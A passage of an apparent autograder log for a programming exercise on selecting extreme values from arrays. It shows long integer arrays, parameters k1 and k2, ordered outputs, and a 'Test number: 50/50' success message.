262, 480, 104, 238, 197, 168, 421, 354, 486, 305, 422, 76, 184, 262, 440, 7, 447, 461, 277, 234, 376, 361, 437, 389, 193, 386, 144, 471, 70, 274, 188, 122, 211, 142, 281, 237, 191, 286, 178, 243, 205, 94, 258, 385, 292, 465, 399, 350, 187, 202, 449, 476, 117, 257, 26, 384, 428, 393, 194, 221, 395, 103, 433, 350, 167, 433, 201, 104, 466, 274, 137, 315, 47, 407, 401, 10, 405, 165, 433, 147, 26, 355, 315, 242, 463, 439, 58, 182, 86, 108, 440, 440, 456, 118, 212, 3, 292, 134, 447, 44, 398, 80, 273, 66, 296, 288, 73, 488, 209, 138, 307, 20, 317, 264, 169, 416, 379, 234, 203, 280, 187, 20, 312, 38, 358, 168, 110, 184, 443, 96, 40, 319, 323, 246, 57, 463, 192, 415, 244, 360, 460, 357, 477, 219, 29, 196, 49, 310, 122, 81, 331, 456, 18, 169, 182, 198, 416, 195, 11, 189, 223, 72, 13, 416, 40, 184, 142, 340, 49, 478, 380, 417, 114, 451, 375, 118, 226, 243, 458, 196, 42, 286, 83, 115, 102, 84, 457, 304, 402, 53, 181, 319, 192, 226, 396, 442, 404, 313, 458, 470, 55, 134, 205, 81, 56, 110, 417, 108, 314, 306, 73, 431, 97, 230, 474, 57, 230, 109, 16, 262, 111, 278, 365, 330, 114, 24, 28, 25, 280, 159, 18, 278, 271, 45, 334, 99, 278, 179, 159, 86, 311, 412, 368, 21, 389, 79, 333, 272, 74, 466, 407, 44, 19, 244, 452, 227, 335, 464, 415, 285, 461, 483, 92, 91, 11, 4, 403, 213, 97, 158, 292, 319, 117, 292, 269, 204, 336, 346, 369, 251, 76, 460, 393, 35, 325, 260, 177, 423, 368, 193, 202, 257, 383, 235, 185, 215, 40, 23, 100, 346, 434, 231, 149, 249, 36, 103, 67, 465, 363, 95, 83, 228, 208, 100, 426, 323, 113, 142, 391, 163, 392, 279, 103, 244, 361, 18, 237, 330, 319, 286, 182, 379, 398, 209, 280, 124, 202, 119, 76, 59, 135, 190, 316, 383, 5, 80, 285, 357, 268, 260, 276, 77, 250, 56, 233, 164, 325, 327, 272, 7, 224, 225, 184, 487, 358, 356, 159, 445, 162, 17, 458, 424, 334, 363, 85, 16, 476, 441, 120, 239, 288, 421, 442, 399, 291, 360, 193, 366, 337, 207, 427, 401, 457, 357, 79, 313, 191, 212, 167, 176, 271, 389, 390, 474, 322, 473, 83, 325, 175, 386, 349, 251, 162, 165, 214, 359, 23, 2, 286, 316, 346, 391, 467, 307, 389, 432, 2, 264, 213, 30, 76, 258, 235, 75, 472, 488, 215, 179, 80, 213, 285, 33, 49, 1, 124, 484, 405, 108, 484, 292, 448, 146, 395, 157, 284, 454, 188, 388, 20, 329, 127, 107, 448, 488, 223, 113, 379, 400, 418, 455, 89, 57, 2, 111, 174, 234, 318, 295, 438, 469, 133, 447, 66, 116, 109, 243, 304, 446, 475, 393, 198, 198, 398, 124, 410, 275, 302, 117, 327, 333, 463, 2, 207, 391, 28, 171, 454, 379, 265, 210, 216, 399, 284, 86, 11, 167, 196, 97, 56, 4, 34, 161, 224, 23, 82, 253, 45, 355, 338, 307, 170, 48, 153, 67, 277, 466, 483, 472, 387, 100, 64, 318, 154, 95, 457, 292, 359, 226, 218, 226, 223, 165, 120, 15, 128, 164, 395, 193, 113, 352, 156, 271, 220, 43, 376, 41, 423, 263, 261, 170, 418, 180, 64, 130, 2, 391, 45, 39, 383, 292, 317, 285, 268, 100, 460, 454, 156, 429, 229, 75, 185, 123, 77, 218, 279, 103, 314, 319, 385, 200, 122, 304, 450, 486, 341, 337, 12, 223, 69, 227, 88, 49, 312, 4, 138, 256, 100, 166, 128, 12, 198, 456, 171, 11, 432, 54, 179, 114, 33, 381, 167, 287, 327, 316, 263, 187, 213, 347, 382, 377, 121, 67, 378, 265, 160, 377, 183, 88, 136, 116, 57, 208, 122, 71, 105, 480, 316, 280, 158, 156, 262, 452, 312, 21, 202, 246, 403, 469, 315, 343, 383, 477, 250, 325, 418, 98, 254, 401, 393, 146, 456, 141, 388, 456, 459, 376, 347, 17, 213, 303, 257, 142, 405, 418, 85, 301, 52, 404, 354, 34, 69, 293, 477, 166, 94, 159, 185, 67, 234, 161, 125, 342, 93, 12, 344, 96, 468, 418, 375, 41, 140, 274, 203, 134, 223, 77, 179, 330, 74, 456, 93, 132, 350, 285, 312, 233, 138, 216, 27, 260, 219, 258, 472, 15, 411, 179, 465, 9, 247, 81, 178, 21, 305, 76, 82, 215, 91, 120, 400, 299, 79, 383, 445, 45, 99, 323, 485, 341, 428, 74, 247, 462, 328, 188, 287, 337, 361, 332, 233, 436, 251, 302, 109, 290, 100, 259, 263, 148, 101, 482, 39, 447, 60, 403, 192, 477, 50, 238, 257, 77, 245, 407, 6, 2, 314, 324, 222, 420, 12, 308, 82, 225, 68, 87, 478, 271, 196, 413, 119, 301, 469, 6, 414, 347, 109, 480, 403, 315, 485, 315, 317, 386, 16, 96, 22, 465, 235, 408, 165, 107, 336, 243, 421, 306, 260, 219, 385, 326, 352, 207, 126, 305, 141, 417, 101, 128, 127, 96, 425, 319, 235, 8, 297, 127, 174, 84, 360, 175, 214, 28, 440, 58, 240, 149, 118, 260, 1, 484, 15, 479, 365, 62, 234, 7, 207, 216, 229, 147, 478, 61, 457, 45, 196, 356, 296, 143, 420, 437, 68, 93, 2, 342, 2, 30, 318, 304, 24, 425, 59, 215, 180, 9, 34, 101, 398, 413, 440, 245, 371, 371, 234, 306, 425, 246, 139, 30, 271, 74, 149, 486, 367, 254, 99, 241, 220, 189, 71, 248, 16, 389, 16, 310, 306, 193, 91, 272, 47, 100, 270, 386, 325, 8, 454, 71, 348, 251, 172, 377, 225, 75, 295, 134, 334, 227, 306, 398, 453, 162, 101, 126, 310, 373, 161, 385, 158, 147, 171, 374, 62, 481, 359, 23, 270, 336, 33, 434, 162, 151, 185, 476, 168, 8, 104, 60, 273, 474, 172, 180, 105, 185, 216, 248, 55, 234, 377, 30, 452, 190, 428, 301, 272, 31, 204, 2, 420, 114, 22, 471, 22, 8, 77, 41, 64, 279, 384, 373, 257, 419, 400, 215, 81, 17, 383, 132, 308, 229, 372, 32, 165, 215, 365, 287, 459, 431, 306, 390, 379, 472, 378, 428, 305, 91, 472, 119, 42, 16, 260, 277, 402, 172, 475, 323, 397, 340, 43, 165, 100, 417, 336, 29, 440, 261, 291, 155, 7, 141, 123, 233, 277, 439, 181, 81, 474, 249, 313, 212, 285, 394, 117, 7, 25, 9, 93, 81, 88, 58, 279, 416, 425, 169, 86, 82, 268, 467, 63, 337, 105, 245, 419, 192, 172, 229, 391, 468, 415, 426, 182, 248, 301, 189, 322, 308, 262, 240, 181, 137, 321, 389, 380, 316, 315, 103, 88, 246, 126, 195, 324, 252, 64, 3, 407, 212, 384, 121, 198, 468, 290, 269, 344, 265, 285, 208, 226, 199, 254, 299, 32, 438, 335, 285, 192, 76, 261, 315, 478, 246, 376, 292, 380, 308, 294, 145, 440, 403, 295, 62, 44, 278, 183, 118, 430, 245, 127, 348, 282, 25, 378, 148, 401, 363, 275, 145, 379, 322, 177, 216, 184, 17, 205, 133, 222, 143, 93, 455, 285, 191, 443, 44, 33, 400, 340, 363, 120, 393, 328, 340, 351, 318, 335, 267, 25, 403, 51, 357, 318, 238, 394, 80, 342, 1, 459, 408, 328, 260, 471, 211, 484, 391, 465, 357, 35, 85, 313, 194, 207, 221, 335, 12, 48, 6, 285, 231, 192, 229, 295, 153, 377, 270, 479, 398, 188, 343, 330, 464, 380, 303, 273, 149, 125, 475, 456, 299, 157, 92, 104, 234, 394, 85, 138, 286, 37, 39, 389, 473, 184, 142, 489, 281, 175, 452, 355, 225, 431, 365, 230, 19, 482, 284, 253, 303, 470, 343, 167, 29, 67, 347, 242, 95, 53, 488, 128, 308, 320, 10, 484, 78, 421, 20, 213, 66, 85, 440, 201, 301, 235, 3, 23, 337, 486, 43, 229, 338, 396, 1, 365, 215, 127, 4, 387, 288, 478, 225, 204, 61, 293, 298, 50, 361, 376, 274, 464, 394, 183, 135, 154, 84, 325, 411, 163, 354, 92, 458, 342, 288, 461, 372, 357, 410, 146, 160, 90, 435, 161, 111, 260, 24, 272, 192, 218, 97, 416, 396, 462, 473, 346, 312, 188, 344, 228, 279, 216, 95, 404, 423, 87, 104, 364, 80, 284, 171, 209, 98, 301, 187, 164, 353, 21, 211, 258, 319, 68, 453, 78, 443, 279, 319, 469, 482, 61, 15, 34, 166, 149, 107, 368, 183, 442, 295, 94, 336, 465, 112, 323, 413, 438, 96, 359, 440, 81, 346, 421, 258, 361, 485, 103, 203, 80, 473, 265, 56, 115, 187, 102, 434, 15, 241, 365, 363, 433, 480, 154, 139, 262, 82, 425, 288, 481, 433, 372, 57, 300, 265, 483, 181, 412, 122, 443, 134, 104, 171, 75, 111, 320, 45, 484, 169, 448, 354, 240, 54, 222, 123, 91, 266, 227, 112, 125, 163, 334, 479, 371, 248, 1, 152, 428, 211, 341, 176, 261, 143, 145, 382, 381, 239, 29, 201, 280, 434, 49, 19, 25, 261, 148, 257, 194, 405, 365, 402, 126, 372, 220, 60, 351, 315, 4, 265, 451, 53, 253, 477, 105, 414, 328, 365, 483, 282, 334, 62, 54, 242, 447, 164, 412, 179, 118, 215, 404, 40, 352, 3, 438, 208, 448, 321, 8, 183, 54, 269, 428, 223, 249, 383, 400, 143, 204, 452, 102, 69, 325, 250, 309, 321, 206, 112, 175, 116, 198, 447, 443, 446, 455, 352, 7, 362, 368, 360, 58, 422, 251, 362, 196, 12, 482, 4, 396, 474, 65, 466, 415, 418, 166, 359, 405, 164, 467, 45, 395, 247, 312, 151, 24, 275, 351, 108, 107, 456, 463, 484, 173, 54, 139, 269, 6, 387, 9, 301, 19, 67, 210, 202, 177, 68, 170, 35, 114, 468, 364, 443, 99, 403, 82, 395, 222, 367, 477, 201, 413, 350, 290, 68, 403, 7, 351, 113, 287, 64, 252, 208, 189, 462, 64, 419, 175, 289, 428, 424, 241, 351, 179, 249, 357, 318, 268, 215, 321, 264, 187, 459, 372, 54, 451, 59, 297, 464, 286, 240, 209, 144, 105, 297, 98, 354, 129, 273, 90, 464, 167, 297, 477, 15, 277, 468, 279, 155, 464, 258, 420, 109, 116, 258, 98, 300, 24, 347, 334, 13, 126, 202, 383, 290, 244, 86, 73, 478, 208, 473, 84, 102, 488, 422, 37, 426, 352, 106, 337, 35, 490, 299, 124, 33, 265, 41, 219, 351, 274, 148, 353, 67, 41, 163, 425, 9, 350, 159, 441, 29, 419, 463, 232, 104, 287, 330, 94, 181, 6, 378, 68, 118, 11, 442, 221, 1, 7, 167, 266, 168, 177, 366, 406, 397, 97, 353, 119, 129, 110, 296, 266, 462, 69, 47, 310, 219, 358, 17, 51, 286, 177, 231, 327, 415, 423, 129, 26, 66, 164, 216, 407, 325, 129, 461, 67, 413, 286, 54, 206, 325, 107, 243, 115, 104, 87, 475, 308, 208, 81, 198, 333, 277, 310, 117, 130, 479, 439, 223, 77, 130, 46, 443, 38, 171, 104, 178, 415, 487, 250, 9, 91, 267, 186, 383, 149, 177, 215, 33, 79, 379, 361, 393, 134, 476, 62, 204, 84, 427, 467, 123, 317, 344, 250, 200, 187, 454, 212, 103, 485, 317, 64, 148, 191, 239, 80, 176, 253, 297, 356, 198, 82, 47, 200, 178, 300, 424, 350, 74, 313, 356, 312, 328, 226, 80, 127, 223, 235, 254, 383, 462, 346, 42, 134, 359, 470, 313, 254, 438, 104, 176, 247, 473, 9, 471, 159, 356, 249, 300, 174, 10, 361, 19, 132, 477, 120, 383, 418, 340, 362, 160, 458, 136, 457, 83, 77, 38, 214, 161, 121, 193, 86, 185, 141, 400, 251, 319, 221, 297, 70, 381, 309, 34, 39, 386, 355, 402, 241, 203, 235, 462, 394, 252, 320, 418, 476, 395, 474, 333, 364, 325, 148, 453, 444, 316, 352, 177, 100, 200, 172, 232, 84, 279, 361, 478, 201, 56, 387, 77, 136, 98, 292, 293, 149, 365, 488, 290, 342, 296, 412, 41, 400, 214, 88, 268, 79, 10, 92, 331, 334, 297, 172, 5, 441, 350, 415, 196, 229, 129, 418, 127, 21, 342, 160, 40, 381, 226, 316, 128, 118, 189, 109, 289, 302, 55, 430, 67, 450, 295, 228, 63, 241, 33, 237, 11, 421, 264, 306, 224, 453, 353, 204, 8, 425, 427, 144, 83, 223, 224, 191, 405, 221, 163, 348, 24, 139, 478, 483, 268, 333, 433, 364, 36, 440, 257, 345, 272, 443, 293, 487, 448, 425, 331, 486, 121, 197, 390, 372, 116, 113, 132, 297, 374, 299, 188, 239, 365, 230, 389, 283, 384, 239, 264, 153, 40, 166, 379, 214, 490, 146, 97, 365, 42, 384, 430, 407, 486, 369, 63, 369, 231, 318, 211, 413, 319, 197, 450, 15, 234, 85, 29, 389, 428, 318, 111, 410, 91, 85, 447, 44, 188, 150, 205, 185, 253, 432, 190, 95, 478, 283, 477, 166, 431, 474, 33, 186, 180, 94, 185, 240, 296, 9, 318, 201, 413, 449, 322, 227, 197, 208, 350, 482, 92, 1, 224, 63, 135, 91, 307, 478, 445, 281, 213, 210, 470, 175, 320, 204, 271, 357, 308, 11, 137, 178, 226, 263, 138, 310, 450, 421, 195, 431, 21, 28, 156, 236, 399, 95, 429, 244, 287, 186, 468, 62, 81, 111, 9, 162, 42, 386, 124, 287, 377, 397, 280, 317, 442, 309, 212, 431, 317, 321, 350, 89, 282, 389, 103, 387, 181, 400, 276, 148, 432, 21, 234, 41, 403, 448, 396, 160, 41, 349, 356, 423, 460, 240, 247, 201, 412, 132, 333, 419, 226, 122, 7, 264, 133, 42, 64, 236, 381, 27, 140, 35, 418, 99, 310, 197, 60, 361, 162, 306, 228, 84, 5, 332, 62, 33, 45, 468, 465, 119, 189, 72, 69, 171, 467, 128, 128, 478, 8, 190, 204, 258, 259, 190, 308, 76, 74, 15, 112, 234, 207, 127, 102, 487, 176, 224, 335, 307, 48, 328, 274, 382, 204, 273, 432, 65, 378, 131, 103, 319, 300, 178, 80, 284, 347, 226, 153, 100, 409, 289, 272, 303, 87, 298, 188, 227, 182, 467, 308, 461, 145, 171, 196, 185, 445, 262, 458, 484, 65, 146, 250, 406, 40, 479, 392, 32, 475, 241, 96, 359, 461, 327, 409, 436, 20, 268, 322, 135, 43, 383, 332, 107, 141, 64, 266, 393, 279, 236, 55, 283, 230, 134, 149, 110, 204, 330, 26, 100, 473, 152, 139, 186, 184, 446, 316, 198, 478, 70, 239, 34, 416, 37, 421, 42, 252, 276, 339, 58, 108, 399, 392, 150, 17, 388, 129, 307, 48, 68, 445, 475, 449, 64, 471, 340, 201, 418, 462, 291, 345, 41, 135, 64, 197, 91, 271, 14, 110, 314, 395, 172, 416, 244, 289, 184, 307, 301, 319, 306, 386, 353, 400, 40, 402, 340, 166, 92, 367, 293, 90, 236, 469, 168, 289, 290, 211, 78, 62, 340, 446, 365, 359, 482, 175, 30, 215, 110, 465, 306, 488, 23, 128, 456, 290, 45, 260, 283, 263, 345, 154]
k1 = 145
k2 = 158
1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 3, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 5, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 6, 7, 7, 7, 7, 7, 7; 490, 490, 490, 490, 490, 490, 490, 490, 490, 490, 490, 490, 490, 490, 490, 490, 490, 490, 490, 490, 490, 490, 490, 490, 489, 489, 489, 489, 489, 489, 489, 489, 489, 489, 489, 489, 489, 489, 489, 489, 489, 489, 489, 489, 489, 488, 488, 488, 488, 488, 488, 488, 488, 488, 488, 488, 488, 488, 488, 488, 488, 488, 488, 488, 488, 488, 488, 488, 488, 488, 488, 488, 488, 487, 487, 487, 487, 487, 487, 487, 487, 487, 487, 487, 487, 487, 487, 487, 487, 487, 487, 486, 486, 486, 486, 486, 486, 486, 486, 486, 486, 486, 486, 486, 486, 486, 486, 486, 486, 486, 486, 486, 486, 486, 486, 486, 486, 486, 485, 485, 485, 485, 485, 485, 485, 485, 485, 485, 485, 485, 485, 485, 485, 485, 485, 485, 485, 485, 485, 485, 485, 485, 484, 484, 484, 484, 484, 484, 484, 484, 484, 484, 484, 484, 484, 484, 484, 484
Good, that's right!
Test number: 50/50
array = [376, 341, 16, 255, 242, 177, 426, 407, 113, 79, 212, 452, 210, 40, 66, 329, 384, 182, 414, 189, 33, 276, 161, 302, 407, 314, 444, 455, 397, 481, 379, 464, 392, 321, 395, 157, 456, 281, 397, 2, 27, 65, 371, 280, 213, 444, 11, 450, 136, 94, 54, 293, 369, 345, 308, 420, 452, 193, 278, 312, 46, 139, 14, 265, 192, 317, 75, 457, 38, 232, 494, 300, 95, 137, 10, 382, 80, 410, 134, 482, 245, 73, 410, 221, 261, 111, 248, 24, 309, 26, 331, 20, 357, 281, 173, 277, 480, 14, 375, 202, 116, 83, 481, 383, 270, 153, 32, 138, 347, 114, 285, 404, 298, 392, 203, 149, 133, 160, 124, 416, 329, 231, 378, 476, 230, 468, 398, 453, 35, 134, 414, 67, 450, 387, 230, 141, 459, 457, 154, 110, 15, 202, 294, 342, 144, 78, 175, 18, 488, 16, 430, 248, 32, 81, 23, 415, 198, 279, 264, 410, 44, 79, 189, 260, 263, 487, 316, 451, 19, 206, 486, 360, 342, 185, 310, 76, 24, 124, 125, 445, 178, 220, 36, 233, 122, 46, 24, 370, 259, 404, 430, 196, 466, 344, 236, 417, 422, 304, 372, 349, 219, 330, 146, 322, 305, 293, 67, 146, 208, 168, 105, 260, 92, 318, 262, 485, 26, 56, 208, 480, 439, 41, 164, 36, 423, 235, 343, 407, 312, 104, 364, 406, 378, 275, 293, 406, 485, 124, 214, 80, 148, 350, 173, 39, 105, 269, 367, 2, 301, 324, 384, 100, 99, 278, 440, 6, 183, 91, 306, 94, 270, 450, 95, 12, 76, 110, 80, 466, 301, 56, 187, 54, 14, 63, 379, 257, 3, 40, 110, 149, 9, 146, 457, 8, 397, 174, 412, 190, 390, 318, 174, 358, 369, 444, 483, 248, 54, 450, 147, 322, 301, 414, 26, 232, 8, 278, 281, 221, 51, 304, 64, 115, 114, 95, 462, 477, 415, 46, 79, 318, 446, 387, 137, 312, 283, 319, 309, 126, 450, 59, 347, 258, 171, 39, 250, 424, 434, 147, 55, 359, 331, 227, 55, 447, 26, 444, 226, 335, 394, 222, 277, 148, 72, 351, 317, 280, 339, 125, 45, 462, 408, 454, 420, 476, 315, 426, 362, 63, 320, 406, 313, 157, 484, 251, 497, 368, 117, 405, 481, 76, 282, 497, 236, 353, 60, 106, 390, 101, 372, 52, 259, 407, 102, 128, 308, 2, 89, 30, 425, 362, 30, 391, 155, 226, 213, 5, 442, 193, 121, 135, 406, 217, 112, 273, 243, 286, 79, 353, 242, 369, 406, 139, 360, 258, 294, 431, 1, 116, 80, 245, 291, 100, 165, 46, 417, 378, 79, 117, 377, 44, 163, 222, 243, 393, 327, 378, 478, 83, 3, 95, 111, 96, 112, 429, 318, 45, 64, 94, 73, 327, 208, 329, 99, 489, 401, 232, 191, 97, 257, 459, 275, 164, 328, 35, 222, 169, 206, 432, 50, 384, 500, 339, 146, 375, 74, 428, 100, 465, 281, 7, 202, 432, 160, 490, 323, 135, 476, 369, 203, 449, 370, 429, 476, 194, 387, 22, 299, 333, 291, 37, 201, 218, 308, 196, 56, 300, 103, 73, 80, 261, 218, 99, 174, 424, 389, 244, 45, 448, 469, 404, 26, 193, 203, 273, 491, 270, 98, 133, 439, 370, 269, 147, 401, 402, 298, 208, 432, 183, 401, 266, 113, 307, 8, 147, 399, 451, 331, 323, 257, 176, 237, 264, 437, 260, 384, 340, 395, 25, 499, 207, 98, 260, 154, 454, 6, 109, 389, 401, 179, 40, 473, 69, 424, 196, 300, 110, 71, 41, 360, 466, 185, 280, 203, 42, 167, 213, 467, 204, 80, 64, 169, 89, 199, 212, 148, 162, 148, 370, 496, 29, 261, 11, 102, 424, 175, 68, 413, 364, 138, 42, 129, 410, 340, 258, 207, 291, 449, 75, 146, 178, 364, 50, 376, 236, 387, 52, 329, 312, 86, 256, 265, 404, 372, 225, 475, 397, 133, 436, 316, 485, 228, 368, 80, 13, 109, 192, 65, 138, 449, 170, 173, 462, 28, 34, 446, 398, 441, 10, 428, 437, 29, 272, 149, 382, 383, 49, 22, 376, 118, 339, 383, 102, 31, 76, 368, 145, 293, 428, 352, 187, 490, 193, 110, 280, 170, 219, 293, 181, 234, 278, 75, 97, 32, 102, 67, 105, 315, 201, 72, 364, 422, 412, 374, 485, 324, 47, 144, 292, 148, 178, 351, 38, 422, 406, 319, 122, 129, 243, 376, 156, 77, 49, 257, 340, 39, 383, 72, 194, 91, 377, 491, 471, 406, 174, 171, 266, 367, 267, 54, 235, 388, 23, 452, 175, 449, 236, 494, 219, 61, 21, 304, 151, 59, 488, 35, 311, 75, 277, 200, 442, 290, 477, 426, 419, 390, 462, 335, 136, 96, 254, 128, 291, 90, 8, 243, 458, 132, 10, 237, 325, 355, 187, 349, 371, 254, 271, 404, 100, 288, 215, 132, 367, 52, 339, 334, 300, 75, 332, 153, 460, 478, 298, 330, 62, 362, 357, 27, 28, 261, 17, 226, 191, 206, 264, 373, 349, 466, 411, 258, 108, 314, 443, 475, 469, 85, 145, 318, 249, 428, 430, 44, 257, 187, 500, 478, 363, 372, 459, 80, 58, 460, 452, 399, 159, 70, 77, 323, 226, 179, 390, 108, 12, 122, 183, 62, 94, 297, 222, 314, 256, 196, 66, 394, 451, 151, 396, 117, 293, 180, 425, 18, 327, 228, 52, 87, 361, 231, 15, 63, 22, 244, 304, 324, 64, 249, 304, 76, 336, 118, 455, 171, 48, 463, 100, 193, 415, 250, 187, 333, 212, 160, 349, 13, 61, 229, 182, 300, 428, 107, 346, 332, 387, 166, 212, 136, 118, 13, 266, 195, 27, 210, 19, 328, 467, 96, 355, 179, 55, 59, 430, 169, 112, 201, 477, 466, 114, 47, 479, 298, 345, 495, 145, 367, 493, 97, 440, 325, 278, 439, 57, 106, 322, 455, 375, 398, 487, 343, 70, 12, 85, 311, 196, 332, 257, 222, 213, 71, 371, 52, 269, 204, 121, 264, 98, 151, 71, 145, 316, 478, 407, 421, 460, 2, 270, 276, 476, 130, 247, 284, 428, 310, 255, 32, 162, 156, 286, 484, 277, 410, 250, 174, 65, 102, 169, 265, 80, 80, 48, 304, 18, 163, 80, 438, 183, 316, 363, 492, 355, 85, 347, 364, 224, 335, 226, 359, 295, 500, 417, 157, 21, 36, 240, 346, 33, 365, 138, 200, 209, 222, 188, 246, 58, 185, 445, 407, 415, 362, 405, 247, 187, 240, 160, 57, 324, 36, 213, 204, 455, 331, 222, 420, 228, 75, 69, 254, 302, 285, 271, 147, 341, 255, 43, 294, 226, 200, 494, 45, 200, 318, 283, 296, 122, 266, 322, 25, 382, 412, 161, 11, 426, 440, 339, 304, 48, 466, 74, 307, 425, 231, 338, 261, 102, 9, 191, 424, 397, 259, 491, 47, 159, 455, 317, 284, 394, 260, 267, 44, 357, 172, 96, 131, 228, 281, 326, 294, 51, 219, 325, 365, 490, 419, 44, 359, 70, 471, 275, 339, 94, 130, 281, 61, 339, 471, 449, 114, 326, 358, 87, 362, 494, 333, 448, 330, 274, 370, 281, 461, 375, 119, 20, 368, 222, 432, 260, 255, 322, 110, 45, 48, 277, 122, 5, 352, 133, 127, 336, 216, 33, 329, 66, 309, 315, 89, 102, 384, 61, 40, 347, 54, 255, 265, 378, 245, 441, 485, 352, 429, 463, 300, 492, 256, 132, 5, 11, 89, 81, 251, 125, 27, 494, 189, 430, 77, 151, 85, 272, 41, 218, 250, 47, 285, 315, 88, 27, 356, 276, 33, 219, 39, 425, 467, 124, 414, 170, 60, 352, 102, 58, 121, 90, 276, 22, 409, 208, 242, 466, 395, 24, 139, 154, 458, 195, 334, 334, 270, 484, 160, 461, 47, 188, 334, 73, 6, 361, 149, 311, 407, 405, 321, 355, 334, 472, 58, 250, 334, 8, 255, 371, 36, 457, 404, 2, 49, 461, 367, 84, 351, 373, 39, 476, 368, 187, 333, 270, 96, 285, 40, 169, 381, 320, 401, 224, 152, 436, 42, 112, 165, 195, 113, 290, 51, 315, 498, 265, 210, 466, 382, 177, 113, 428, 38, 427, 88, 430, 325, 46, 177, 204, 203, 190, 73, 118, 190, 419, 68, 400, 283, 342, 210, 262, 180, 49, 425, 124, 451, 66, 360, 282, 262, 211, 411, 269, 155, 177, 76, 215, 385, 117, 204, 276, 375, 321, 292, 294, 439, 492, 105, 99, 247, 348, 299, 269, 105, 98, 445, 363, 406, 230, 164, 259, 361, 310, 460, 442, 307, 191, 474, 129, 122, 187, 71, 80, 185, 99, 302, 235, 88, 86, 308, 345, 148, 365, 249, 297, 182, 89, 491, 127, 497, 55, 134, 302, 363, 209, 134, 218, 120, 345, 173, 251, 118, 103, 21, 182, 32, 340, 116, 51, 12, 167, 129, 28, 237, 226, 471, 323, 101, 92, 337, 335, 164, 42, 115, 86, 292, 170, 311, 78, 356, 10, 161, 358, 33, 191, 90, 277, 138, 350, 241, 107, 24, 76, 442, 201, 495, 431, 440, 229, 391, 339, 412, 45, 442, 28, 407, 375, 113, 383, 236, 305, 146, 151, 102, 211, 463, 112, 262, 109, 16, 389, 425, 17, 492, 252, 42, 377, 249, 177, 460, 498, 206, 119, 31, 206, 79, 186, 339, 221, 104, 98, 251, 110, 139, 216, 45, 81, 96, 421, 143, 377, 186, 103, 62, 485, 326, 427, 235, 274, 175, 232, 84, 424, 404, 416, 254, 324, 157, 437, 265, 338, 371, 356, 103, 83, 489, 40, 270, 68, 130, 41, 314, 127, 309, 116, 470, 175, 233, 335, 186, 10, 425, 425, 66, 267, 305, 230, 40, 407, 141, 51, 307, 379, 248, 206, 237, 352, 412, 321, 140, 35, 16, 438, 285, 370, 102, 197, 459, 15, 378, 289, 150, 31, 119, 175, 465, 322, 110, 415, 35, 58, 167, 38, 356, 470, 3, 329, 165, 42, 232, 113, 92, 146, 210, 130, 10, 387, 385, 14, 308, 422, 450, 120, 117, 110, 319, 268, 1, 311, 330, 364, 73, 498, 392, 400, 221, 67, 363, 320, 246, 223, 443, 55, 405, 99, 430, 98, 288, 428, 244, 452, 283, 335, 390, 214, 3, 115, 3, 189, 207, 325, 375, 382, 473, 439, 492, 438, 474, 279, 468, 345, 26, 430, 125, 363, 64, 72, 23, 144, 435, 180, 343, 307, 164, 170, 188, 405, 118, 122, 498, 286, 162, 226, 408, 311, 269, 487, 345, 91, 207, 393, 265, 449, 142, 359, 164, 103, 181, 55, 45, 212, 497, 262, 318, 186, 440, 490, 303, 312, 198, 264, 94, 240, 405, 443, 470, 197, 422, 33, 254, 189, 430, 5, 209, 69, 458, 104, 473, 180, 350, 40, 324, 396, 118, 134, 62, 327, 441, 55, 347, 493, 125, 280, 233, 103, 208, 178, 210, 120, 260, 267, 449, 155, 382, 317, 417, 388, 406, 17, 199, 55, 460, 436, 493, 132, 287, 463, 375, 125, 349, 375, 71, 24, 124, 389, 192, 351, 371, 32, 75, 241, 227, 337, 343, 220, 277, 498, 164, 203, 137, 338, 196, 286, 297, 403, 142, 227, 493, 245, 50, 345, 462, 184, 262, 369, 264, 77, 487, 340, 231, 66, 93, 55, 51, 147, 295, 74, 120, 72, 189, 131, 447, 226, 402, 32, 253, 268, 141, 214, 457, 176, 105, 238, 325, 141, 75, 94, 39, 329, 399, 174, 140, 349, 274, 158, 39, 293, 351, 216, 17, 164, 289, 38, 297, 455, 120, 408, 6, 193, 32, 341, 132, 275, 499, 98, 276, 460, 198, 51, 336, 278, 309, 125, 445, 187, 141, 91, 294, 446, 228, 235, 122, 88, 184, 428, 426, 166, 196, 169, 385, 336, 369, 25, 89, 251, 246, 110, 196, 24, 326, 173, 421, 46, 207, 361, 225, 72, 187, 143, 242, 341, 455, 437, 253, 214, 92, 336, 294, 369, 380, 223, 394, 254, 376, 42, 132, 247, 46, 291, 239, 474, 56, 100, 35, 376, 264, 68, 466, 111, 344, 199, 399, 138, 55, 55, 312, 177, 127, 424, 66, 341, 414, 231, 447, 120, 69, 320, 249, 384, 47, 323, 131, 52, 87, 282, 267, 167, 224, 395, 25, 149, 333, 33, 209, 128, 44, 176, 276, 140, 248, 442, 322, 114, 92, 434, 264, 237, 468, 7, 497, 484, 365, 94, 14, 33, 72, 329, 380, 61, 30, 116, 321, 216, 94, 454, 388, 414, 22, 396, 368, 500, 404, 492, 392, 144, 233, 265, 175, 423, 371, 239, 127, 500, 220, 15, 411, 443, 127, 385, 411, 157, 143, 3, 279, 478, 282, 425, 479, 498, 246, 180, 442, 85, 5, 313, 48, 23, 468, 373, 388, 282, 267, 11, 249, 378, 233, 29, 492, 239, 87, 443, 357, 486, 386, 110, 320, 152, 192, 52, 35, 6, 352, 104, 36, 85, 160, 172, 447, 419, 72, 292, 469, 172, 310, 107, 123, 127, 152, 451, 484, 12, 198, 400, 211, 274, 24, 326, 437, 54, 202, 435, 275, 278, 414, 203, 374, 396, 417, 125, 227, 138, 234, 310, 15, 168, 211, 100, 218, 214, 241, 382, 142, 271, 401, 321, 237, 101, 421, 403, 494, 264, 448, 490, 201, 304, 197, 333, 377, 430, 212, 317, 289, 141, 39, 371, 385, 265, 473, 265, 242, 489, 